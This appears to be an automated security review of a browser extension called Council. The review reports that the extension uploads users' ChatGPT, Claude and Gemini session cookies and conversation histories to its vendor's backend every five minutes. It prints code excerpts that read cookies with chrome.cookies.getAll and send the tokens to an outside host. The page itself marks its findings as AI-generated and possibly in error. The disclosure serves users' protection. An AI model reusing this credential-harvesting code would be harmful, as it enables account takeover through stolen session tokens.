Is Council safe?

Medium risk

Council reads your ChatGPT, Claude and Gemini session cookies and sends them to its backend every 5 minutes.

When you have a Council token, the extension's background worker reads session cookies and tokens for ChatGPT, Claude and Gemini and uploads them to the Council server, which lets the vendor reuse those sessions server-side. It also fetches your full ChatGPT and Gemini conversation histories, including messages and images, and posts them to the same backend.

49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Council uploads ChatGPT, Claude and Gemini session tokens every 5 minutes

Code analysis shows the extension reads your ChatGPT, Claude and Gemini session cookies and uploads them to council-app-production.up.railway.app every 5 minutes once a Council token is set.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

Every 5 minutes, while a Council token is configured, the background worker starts a sync.

A startup check also triggers one sync after 3 seconds.

The extension did this

It reads your ChatGPT, Claude and Gemini session cookies and uploads them to the Council backend.

Credentials uploaded per provider
  • ChatGPT access token
    PUT /api/sync/connections/chatgpt {sessionToken: accessToken}

    Bearer token fetched with your chatgpt.com cookies; grants access to your ChatGPT account.

  • Claude sessionKey
    PUT /api/sync/connections/claude {sessionToken: sessionKey value}

    The raw claude.ai session cookie value.

  • Google session cookies
    PUT /api/sync/connections/gemini {sessionToken: JSON cookies + pageTokens}

    SID, HSID, __Secure-1PSID and related cookies plus Gemini page tokens, as one JSON string.

The code that does this

Claude session cookie read and upload

Readable version

Alarm wiring and sync entry point

assets/index.ts-BmTJzAkx.js
async function ie() {  if (!await Z()) { return }  await Promise.allSettled([In(), Fn(), Dn(), xn(), $n(), Nn()]), await Mn()}const he = "council-periodic-sync", je = 5;chrome.alarms.create(he, { periodInMinutes: je });chrome.alarms.onAlarm.addListener(t => {  (t.name === he || t.name === "council-catchup-sync") && ie().catch(e => console.error("[Council] Sync failed:", e))});
The code that does this

ChatGPT token derived from cookies and uploaded

Readable version

Gemini cookie bundle upload

assets/index.ts-BmTJzAkx.js
t = await chrome.cookies.getAll({ domain: ".google.com" }),e = await chrome.cookies.getAll({ url: "https://gemini.google.com" })// ...filtered to SID/HSID/__Secure-1PSID etc., then// PUT /api/sync/connections/gemini { sessionToken: JSON.stringify({ cookies: l, pageTokens: {...} }) }
Destination
    • council-app-production.up.railway.app

    Vendor backend on Railway; receives provider session tokens via authenticated PUT (Bearer council_token).

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Council contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • council-app-production.up.railway.app

    Council sends data to council-app-production.up.railway.app. No other extension we have analysed sends data here.

Updated 15 October 2026gfkdoglpkggbpglnikkbjnkfblcnkmio